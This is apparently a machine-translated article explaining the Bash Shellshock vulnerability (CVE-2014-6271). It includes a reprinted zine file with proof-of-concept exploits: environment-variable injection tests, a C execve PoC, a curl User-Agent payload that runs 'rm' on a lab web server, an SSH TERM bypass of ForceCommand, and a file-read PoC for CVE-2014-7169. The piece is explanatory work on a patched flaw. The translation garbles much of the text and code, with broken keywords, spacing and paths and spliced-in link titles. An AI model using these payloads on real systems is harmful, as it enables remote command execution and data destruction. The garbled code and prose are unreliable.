Understanding of the Bash environment variable Parsing Vulnerability
1. What are environment variables?
Both Windows and Linux programs support environment variables. Generally, environment variables are stored at the beginning of the process memory space as value strings. When you execute a program, you can specify the environment variables to pass information to the program to be executed. On a Windows platform dominated by GUI, generally, users seldom need to use environment variables to transmit information to programs. Environment variables are resources in the process space. Environment Variables of different processes cannot be shared. However, you can copy the environment variables of the parent process to the child process through the process resource Inheritance Mechanism. For example, the environment variables set for the bash process are automatically copied to the subprocesses started through bash.
Different programs have different degrees of application to environment variables. Many small programs can ignore environment variables. However, many programs depend heavily on environment variables, such as CGI programs for Web applications. All the form data is transmitted to CGI programs by the web server process in the form of environment variables. Below is a simple CGI program written in C language.
Int main (void)
{
Char * data;
Long m, n;
Printf ("% s % c", "Content-Type: text/html; charset = gb2312", 13, 10 );
Printf ("<TITLE> multiplication result </TITLE> ");
Printf ("<H3> multiplication result </H3> ");
Data = getenv ("QUERY_STRING ");
If (data = NULL)
Printf ("<P> error! Data is not input or there is a problem with data transmission ");
Else if (sscanf (data, "m = % ld & n = % ld", & m, & n )! = 2)
Printf ("<P> error! The input data is invalid. The number must be entered in the form. ");
Else
Printf ("<P> % ld and % ld: % ld. ", M, n, m * n );
Return 0;
}
It can be seen that the GET request string sent from the client is passed to this program through the Environment Variable QUERY_STRING.
Bash is also a heavy user of environment variables. Of course, CGI programs written in bash are more dependent on environment variables. The following is a CGI program written in bash.
#! /Bin/bash
Echo 'content-type: test/html'
Echo''
Echo $ QUERY_STRING
The environmental variable QUERY_STRING is also used.
Gitlab-shell is affected by Bash CVE-2014-6271 Vulnerability
Linux security vulnerability exposure Bash is more serious than heartbleed
The solution is to upgrade Bash. Please refer to this article.
Bash remote parsing command execution vulnerability Test Method
Bash vulnerability latest patch installation tutorial [Download]
Shellshock
2. bash Vulnerability Analysis of Environment Variables
As mentioned above, environment variables are special strings and must be analyzed and processed by environment variables. String processing is a very important task in most programs. It is more important for Web programs (html, xml, json file content itself is a string ).
Bash is no exception. It needs to analyze the environment variable string, then explain its meaning and perform related operations. Since the bash script itself is a text string, the bash engine can simply convert the environment variable string into a string in the script format and merge it with the bash script to be executed, then explain and execute the merged script.
For example, the following script:
The value of echo environment variable X is $ X.
If the environment variable is X = 100, the combined environment is equivalent:
X = 100
The value of echo environment variable X is $ X.
We can use the env tool to test the effect. env is used to specify environment variables for the program to be executed.
[Root @ localhost ~] # Env X = 100 bash-c 'echo environment variable X's value is $ x ';
The value of environment variable X is 100
Then construct an environment variable for a special point.
[Root @ localhost ~] # Env X = '() {echo I am an environment variable;}; 'bash-C' env ';
HOSTNAME = localhost. localdomain
... Omitted display of irrelevant Environment Variables
SSH_CONNECTION = 172.16.35.220 60128 172.16.35.135 22
LESSOPEN = |/usr/bin/lesspipe. sh % s
G_BROKEN_FILENAMES = 1
X = () {echo I am an environment variable
}
At this time, the environment variable X is only a string, but bash interprets it as a function type rather than a string type value. So you can directly execute this function. As follows:
[Root @ localhost ~] # Env X = '() {echo I am an environment variable;}; 'bash-C' x ';
I am an environment variable
In this case, bash interprets the environment variables and converts them to the following script:
X () {echo I am an environment variable ;};
Instead of copying it as X = () {echo I am an environment variable ;};
It can be seen that bash has different interpretations of environment variable values in different string formats.
Continue to make the value of X more complex, as shown below:
[Root @ localhost ~] # Env X = '() {echo I am an environment variable;}; echo you recruited 'bash-C' env'
You caught up.
HOSTNAME = localhost. localdomain
SHELL =/bin/bash
SSH_CONNECTION = 172.16.35.220 60128 172.16.35.135 22
LESSOPEN = |/usr/bin/lesspipe. sh % s
G_BROKEN_FILENAMES = 1
X = () {echo I am an environment variable
}
_ =/Bin/env
The problem has occurred! In this case, the value of environment variable X set by env for bash is
() {Echo: I'm an environment variable;}; echo: you caught it.
Bash interprets the first half as the function body of Function X, but does not do anything about the second half. It is directly converted into a script as it is. The script is as follows:
X () {echo I am an environment variable ;};
Echo, you got a trick.
The merged script is as follows:
X () {echo I am an environment variable ;};
Echo, you got a trick.
Env
In this way, you can directly execute echo. In fact, this command can be replaced with any other command, so that bash can execute any command. This is the basic principle of this bash vulnerability.
Let's take a look at the effect after patching.
[Root @ localhost ~] # Env X = '() {echo I am an environment variable;}; echo you recruited 'bash-C' env'
HOSTNAME = localhost. localdomain
SHELL =/bin/bash
X = () {echo I'm an environment variable;}; echo you caught
PATH =/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
_ =/Bin/env
[Root @ localhost ~] # Env X = '() {echo I am an environment variable;}; echo you recruited 'bash-C' echo $ x'
() {Echo: I'm an environment variable;}; echo: you caught it.
It can be seen that bash does not regard X as a function to explain at this time, but assigns all the environment variable values as pure strings to X.
3. Who will be affected by the bash vulnerability?
Through the above principle analysis, we know that any program that can pass environment variables to bash through some means is affected by this. Of course, the most typical is the CGI program written by bash. The client adds the value () {echo I am an environment variable;} in the request string; echo the form value you recruited, attackers can easily attack the servers running CGI.
At present, most general websites seldom use CGI, so the problem is not too big. However, there are many network devices, such as vro switches, which use CGI programs written in perl or other languages. As long as bash is called at the underlying layer, there is a great risk.
Currently, patches for this vulnerability have been released. Please add them as soon as possible. Unfortunately, there is still another vulnerability in the leaked file content after the patch is installed. For details, refer to the following reprinted article: https://raw.githubusercontent.com/citypw/DNFWAH/master/4/d4_0x07_DNFWAH_shellshock_bash_story_cve-2014-6271.txt
[Sth0r @ shawn-fortress] $ uname-
Linux shawn-fortress 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0 + kali8 i686 GNU/Linux
| = ----------------------------------------------------------------- = |
| = ----- = [D o n o t f u c k w I T H A C K E R] = ----- = |
| = ----------------------------------------------------------------- = |
| = ------------------------ [#4 File 0x07] ----------------------- = |
| = ----------------------------------------------------------------- = |
| = ------------------- = [Bash Shellshock event:] = -------------------- = |
| = ------------------- = [CVE-2014-6271 Data Summary] = -------------------- = |
| = ----------------------------------------------------------------- = |
| = --------------------- = [By Shawn the R0ck] = ------------------- = |
| = ----------------------------------------------------------------- = |
| = ----------------------- = [Sep 25 2014] = ------------------------ = |
| = ----------------------------------------------------------------- = |
-- [Content
0. What is BASH
1. CVE-2014-6271
2. Incomplete patch and story to be continued...
-- [0. What is BASH?
Bourne Again Shell (BASH) is the most popular SHELL implementation on GNU/Linux. It was implemented in 1980.
After decades of evolution from a simple terminal command line interpreter
Multi-function interface.
-- [1. CVE-2014-6271
Stéphane Chazelas, a French GNU/Linux enthusiast, discovered the famous SHELL implementation in middle September 2014.
A bash vulnerability allows you to execute the script code you want to execute by constructing the environment variable value,
According to reports, this vulnerability can affect many applications running on GNU/Linux that interact with BASH,
Including:
** In sshd configuration, ForceCommand is used to restrict remote users from executing commands. This vulnerability can be exploited.
Attackers can bypass the restriction to execute any command. Some restrictions on the deployment environment of Git and Subversion will also apply to Shell
In this case, OpenSSH is usually used normally.
** The Apache server uses mod_cgi or mod_cgid.
In SHELL. Use C's system/popen in the sub-Shell and Python
OS. system/OS. popen, which is used in system/exec (CGI Mode) and Perl in PHP
This vulnerability affects open/system.
** PHP script execution in mod_php will not be affected.
** When the DHCP client calls the shell script to receive the Environment Variable Parameter Values of remote malicious servers
This vulnerability is exploited.
** The daemon and SUID programs may also be affected to execute SHELL scripts in the environment where environment variables are set.
** Any other program executing SHELL scripts using BASH as the interpreter may be affected. Shell script is not
Export is not affected.
Let's first look at a simple POC:
1. Check whether vulnerabilities exist in the local SHELL environment:
$ Env x = '() {:;}; echo vulnerable 'bash-c "echo this is a test"
If the vulnerability exists, "vulnerable" is printed ".
2, C program:
-----------------------------------------------------------------------------
/* CVE-2014-6271 + aliases with slashes PoC-je [at] clevcode [dot] org */
# Include <unistd. h>
# Include <stdio. h>
Int main ()
{
Char * envp [] = {
"PATH =/bin:/usr/bin ",
"/Usr/bin/id = (){"
"Echo pwn me twice, shame on me ;};"
"Echo pwn me once, shame on you ",
NULL
};
Char * argv [] = {"/bin/bash", NULL };
Execve (argv [0], argv, envp );
Perror ("execve ");
Return 1;
}
Je @ tiny :~ $ Gcc-o bash-is-fun bash-is-fun.c
Je @ tiny :~ $./Bash-is-fun
Pwn me once, shame on you
Je @ tiny:/home/je $/usr/bin/id
Pwn me twice, shame on me
--------------------------------------------------------------
In this POC, we can see that BASH does not end with processing at all. Later we can see why through patches.
3. Test the HTTP environment on INVISIBLETHREAT:
Create a script named poc. cgi:
#! /Bin/bash
Echo "Content-type: text/html"
Echo ""
Echo 'Echo 'Echo '<meta http-equiv = "Content-Type" content = "text/html; charset = UTF-8">'
Echo '<title> PoC </title>'
Echo 'Echo '<body>'
Echo '<pre>'
/Usr/bin/env
Echo '</pre>'
Echo '</body>'
Echo '
Exit 0
Put the script on the test machine and enter:
$ Curl http: // 192.168.0.1/poc. cgi
<Html>
<Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = UTF-8">
<Title> PoC </title>
</Head>
<Body>
<Pre>
SERVER_SIGNATURE = <address> Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80 </address>
HTTP_USER_AGENT = curl/7.26.0
SERVER_PORT = 80
HTTP_HOST = 192.168.0.1
DOCUMENT_ROOT =/var/www
SCRIPT_FILENAME =/var/www/poc. cgi
REQUEST_URI =/poc. cgi
SCRIPT_NAME =/poc. cgi
REMOTE_PORT = 40974
PATH =/usr/local/bin:/usr/bin:/bin
PWD =/var/www
SERVER_ADMIN = webmaster @ localhost
HTTP_ACCEPT = */*
REMOTE_ADDR = 192.168.0.1
SHLVL = 1
SERVER_NAME = 192.168.0.1
SERVER_SOFTWARE = Apache/2.2.22 (Debian)
QUERY_STRING =
SERVER_ADDR = 192.168.0.1
GATEWAY_INTERFACE = CGI/1.1.
SERVER_PROTOCOL = HTTP/1.1
REQUEST_METHOD = GET
_ =/Usr/bin/env
</Pre>
</Body>
</Html>
Try setting a user-agent Using curl again:
$ Curl-A "() {:;};/bin/rm/var/www/target" http: // 192.168.0.1/poc. cgi
<! Doctype html public "-// IETF // dtd html 2.0 // EN">
<Html> <Title> 500 Internal Server Error </title>
</Head> <body>
<H1> Internal Server Error <P> The server encountered an internal error or
Misconfiguration and was unable to complete
Your request. </p>
<P> Please contact the server administrator,
Webmaster @ localhost and inform them of the time the error occurred,
And anything you might have done that may have
Caused the error. </p>
<P> More information about this error may be available
In the server error log. </p>
<Hr>
<Address> Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80 </address>
</Body>
The/var/www/target has been deleted. Let's take a look:
$ Curl http: // 192.168.0.1/target
<! Doctype html public "-// IETF // dtd html 2.0 // EN">
<Html> <Title> 404 Not Found </title>
</Head> <body>
<H1> Not Found <P> The requested URL/target was not found on this server. </p>
<Hr>
<Address> Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80 </address>
</Body>
4. For the POC of OpenSSH, there are currently two attack planes. Solar Designer provides
Local Usage of SSH_ORIGINAL_COMMAND:
Seclists.org/oss-sec/2014/q3/651
There is also the POC for remote exploitation by using the TERM:
Generate an RSA key pair on machine:
Shawn @ debian-test32 :~ /. Ssh $ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/shawn/. ssh/id_rsa ):
Enter passphrase (empty for no passphrase ):
Enter same passphrase again:
Your identification has been saved in/home/shawn/. ssh/id_rsa.
Your public key has been saved in/home/shawn/. ssh/id_rsa.pub.
The key fingerprint is:
09: 1c: 92: fb: c5: 68: f8: e1: b9: c2: 62: a8: c7: 75: 5b: dc shawn @ debian-test32
The key's randomart image is:
+ -- [RSA 2048] ---- +
|... |
|. O. |
| Ooo |
| O +. o. |
| = S. |
|. * O E |
| O. + |
|. = O |
| Oo... |
+ ----------------- +
Copy the public key of A to machine B:
$ Cat/home/shawn/. ssh/authorized_keys
Command = "/tmp/ssh. sh "ssh-rsa Secure + RAtDS3u + R4sD87SUQq5OZJ + keys + 3/keys/GEiyCpFw84UTdF/keys + EGhzTMq83f/keys/loYPIPp5gJ shawn @ debian-test32
A script used to control command/SSH_ORIGINAL_COMMAND
Shawn @ linux-ionf :~ /. Ssh> cat/tmp/ssh. sh
#! /Bin/sh
Case "$ SSH_ORIGINAL_COMMAND" in
"Ps ")
Ps-ef
;;
"Vmstat ")
Vmstat 1 100
;;
"Cups stop ")
/Etc/init. d/cupsys stop
;;
"Cups start ")
/Etc/init. d/cupsys start
;;
*)
Echo "Sorry. Only these commands are available to you :"
Echo "ps, vmstat, cupsys stop, cupsys start"
# Exit 1
;;
Esac
The restriction script can be used normally on machine:
Shawn @ debian-test32 :~ /. Ssh $ export SSH_ORIGINAL_COMMAND = "ps"
Shawn @ debian-test32 :~ /. Ssh $ ssh shawn@192.168.115.129 $ SSH_ORIGINAL_COMMAND
Enter passphrase for key'/home/shawn/. ssh/id_rsa ':
UID PID PPID C STIME TTY TIME CMD
Root 1 0 0 16:47? 00:00:02/sbin/init showopts
Root 2 0 0 16: 47? 00:00:00 [kthreadd]
Root 3 2 0 16: 47? 00:00:00 [ksoftirqd/0]
Use the TERM:
Shawn @ debian-test32 :~ $ Export TERM = '() {:;}; id'; ssh shawn@192.168.115.129
Enter passphrase for key'/home/shawn/. ssh/id_rsa ':
Uid = 1000 (shawn) gid = 100 (users) groups = 100 (users)
Connection to 192.168.115.129 closed.
-- [2. Patch and follow-up
Patches received from the earliest GNU/Linux release community:
Https://bugzilla.novell.com/attachment.cgi? Id = 606672
We can see that BASH does not handle exceptions, but it is executed after direct parsing.
The official Community patch is here:
Http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017
Http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018
Http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
Http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039
Http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012
Http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048
Http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025
But because of the incomplete patch repair, resulting in the CVE-2014-7169 burst, POC is as follows:
Shawn @ shawn-fortress/tmp $ date-u> test_file
Shawn @ shawn-fortress/tmp $ env X = '() {(a) = <\ 'bash-C' test _ file cat'
Bash: X: line 1: syntax error near unexpected token '='
Bash: X: line 1 :''
Bash: error importing function definition for 'X'
Thu Sep 25 09:37:04 UTC 2014
This POC allows attackers to read files. It seems that the subsequent story is not over ...................
[1] BASH
Http://www.gnu.org/software/bash/
[2] Bash specially-crafted environment variables code injection attack
Https://securityblog.RedHat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
[3] CVE-2014-6271
Http://web.nvd.nist.gov/view/vuln/detail? VulnId = CVE-2014-6271
[4] CVE-2014-7169
Http://web.nvd.nist.gov/view/vuln/detail? VulnId = CVE-2014-7169
[4] CVE-2014-6271: remote code execution through bash
Http://seclists.org/oss-sec/2014/q3/651
This article permanently updates the link address: